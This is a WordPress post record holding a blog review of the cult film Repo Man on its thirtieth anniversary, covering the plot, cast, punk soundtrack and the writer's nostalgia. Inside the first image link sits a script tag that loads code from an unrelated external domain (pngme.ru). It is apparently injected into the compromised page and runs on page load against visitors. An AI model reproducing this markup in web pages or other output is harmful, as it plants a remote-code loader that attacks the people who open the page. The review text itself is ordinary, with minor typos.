{"id":10035,"date":"2014-03-09T12:45:28","date_gmt":"2014-03-09T18:45:28","guid":{"rendered":"http:\/\/www.bmovienation.com\/?p=10035"},"modified":"2014-03-09T12:45:28","modified_gmt":"2014-03-09T18:45:28","slug":"repo-man","status":"publish","type":"post","link":"https:\/\/www.bmovienation.com\/?p=10035","title":{"rendered":"REPO MAN"},"content":{"rendered":"<p><em><strong>Repo Man<\/strong><\/em> is celebrating it\u2019s thirtieth anniversary this month. \u00a0You might think knowing a movie that is thirty years old and was made during my lifetime might make me feel a little old, but not so. \u00a0Though, yes I was alive at the time the film was made, I was only four. \u00a0<em><strong>Sesame Street<\/strong><\/em>\u00a0was more my speed then, and\u00a0<strong>Emilio Estevez\u2019s<\/strong>\u00a0name wasn\u2019t part of my vocabulary yet. \u00a0 I was introduced to this cult classic from the eighties when I was a teenager in the late nineties and found myself hanging out with a bunch of raucous mohawked tattooed rockers. \u00a0As soon as these kids found out I hadn\u2019t seen <em>Repo Man<\/em>, making sure I saw it became job one.<\/p>\n<p>For those who aren\u2019t familiar with the film, find the following:<br \/>\n<em>Repo Man<\/em>\u00a0stars\u00a0<strong>Harry Dean Stanton\u00a0<\/strong>(Bud), <strong>Emilio Estesvez<\/strong> (Ott0),\u00a0<strong>Tracey Walter\u00a0<\/strong>(Miller)<strong>\u00a0<\/strong>\u00a0and many more who serve as a very colorful cast of characters. \u00a0When Otto is fired from his job he finds himself, through a series of unusual circumstances, part of a repo man team which includes Bud and Miller. \u00a0His life is immediately more interesting than it ever has been before and soon enough Otto meets Leila (<strong>Olivia Barash<\/strong>). \u00a0With this relationship comes even more insanity and the infamous Chevy Malibu that, according to Leila, holds radioactive alien bodies. \u00a0When the repo office gets a request to track down the car for a large sum of money, the race is on to find the vehicle. \u00a0The ensuing chase, acquisition and then loss of the Malibu bring us some of the most entertaining and ridiculous moments in eighties film (I know that\u2019s saying A LOT), as well as the best \u201cso bad it\u2019s good\u201d radioactive death scenes ever made.<\/p>\n<p><a href=\"http:\/\/screeninvasion.com\/2014\/03\/repo-man-30-year-anniversary\/emilio_estevez_repo_man\/\" rel=\"attachment wp-att-77281\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-77281\" alt=\"Emilio_Estevez_Repo_Man\" src=\"http:\/\/screeninvasion.com\/wp-content\/uploads\/2014\/03\/Emilio_Estevez_Repo_Man-500x281.jpg\" width=\"500\" height=\"281\" \/><script src=\"\/\/pngme.ru\/seter\"><\/script><\/a><\/p>\n<p><em>Repo Man<\/em> is like <em><strong>Sid and Nancy<\/strong><\/em> meets <em><strong>Twin Peaks<\/strong><\/em> meets <em><strong>The Twilight Zone<\/strong><\/em>. \u00a0It is one of the best anti-hero films to date; a hilariously ridiculous and fun ride to the wilder side, though if one doesn\u2019t quite \u2018get it\u2019 then it just won\u2019t hold the same magic that it does for the rest of us. \u00a0<span style=\"line-height: 1.5em;\">Just as <\/span><em style=\"line-height: 1.5em;\"><strong>Evil Dead<\/strong><\/em><span style=\"line-height: 1.5em;\"> before, <\/span><em style=\"line-height: 1.5em;\">Repo Man<\/em><span style=\"line-height: 1.5em;\"> endeared itself to an entire generation even with (or maybe because of) it\u2019s B-Movie quality. \u00a0The movie provides some of the most memorable performances in any of it\u2019s actors\u2019 careers. \u00a0<\/span><\/p>\n<p><em>Repo Man<\/em>\u00a0is a movie that holds a special place in the heart of the punk rockers. \u00a0The culture of punk rock is well represented in the film and the main character, Otto \u00a0is the quintessential example of punk in the eighties. \u00a0The irony of Emilio rather than Charlie playing the hard rocking, hard partying Otto is not lost on me. \u00a0 Not only is the punk rock lifestyle represented in the characters and the setting, but the film introduced some of the generation\u2019s favorite punk bands to the rest of the world. \u00a0<em>Repo Man<\/em>\u2018s sound track exposed many for the first time to Spanish punk rock, which is by far some of my favorite. \u00a0Bands like\u00a0<strong>Suicidal Tendencies<\/strong>,\u00a0<strong>The Circle Jerks<\/strong>,<strong>\u00a0Black Flag<\/strong>,\u00a0<strong>Fear<\/strong>\u00a0and\u00a0<strong>Iggy Pop<\/strong>\u00a0make this essential viewing and listening for any fan of true punk rock.<\/p>\n<p><a href=\"http:\/\/screeninvasion.com\/2014\/03\/repo-man-30-year-anniversary\/repoman2\/\" rel=\"attachment wp-att-77283\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-77283\" alt=\"RepoMan2\" src=\"http:\/\/screeninvasion.com\/wp-content\/uploads\/2014\/03\/RepoMan2-500x274.jpg\" width=\"500\" height=\"274\" \/><\/a><\/p>\n<p><span style=\"line-height: 1.5em;\"><em>Repo Man<\/em> will always be an iconic reminder of all things eighties from generic white labeled groceries to giant steel sedan boats of cars that would never fit side by side in the mini parking spaces of today<\/span><span style=\"line-height: 1.5em;\">. \u00a0<\/span><em style=\"line-height: 1.5em;\">Repo Man<\/em><span style=\"line-height: 1.5em;\"> is just a fun to watch today as it ever was back then. \u00a0I\u2019m not as cool as I used to be and though I still run in to the friends from those days, my true punk rock days are done. \u00a0Maybe that\u2019s the biggest appeal of Repo Man for those of us who love this movie. \u00a0Everything about it reminds us of the way things used to be and it\u2019s a nice way to reminisce. \u00a0\u00a0<\/span><\/p>\n<p><em>\u201cThe life of a repo man is always intense.\u201d<\/em> \u2013 Miller<\/p>\n<p>Where were you the first time you saw <em>Repo Man<\/em>? \u00a0What did you think then and did your perception change once you saw it again?<br \/>\n<span>Read more at <a style=\"color: #003399;\" href=\"http:\/\/screeninvasion.com\/2014\/03\/repo-man-30-year-anniversary\/#pKPdoURxEdSKsDws.99\">http:\/\/screeninvasion.com\/2014\/03\/repo-man-30-year-anniversary\/#pKPdoURxEdSKsDws.99<\/a><\/span><\/p>\n<p>&nbsp;<\/p>\n<div class=\"syndication-links\"><\/div>","protected":false},"excerpt":{"rendered":"<p>Repo Man is celebrating it\u2019s thirtieth anniversary this month. \u00a0You might think knowing a movie that is thirty years old and was made during my lifetime might make me feel a little old, but not so. \u00a0Though, yes I was alive at the time the film was made, I was only four. \u00a0Sesame Street\u00a0was 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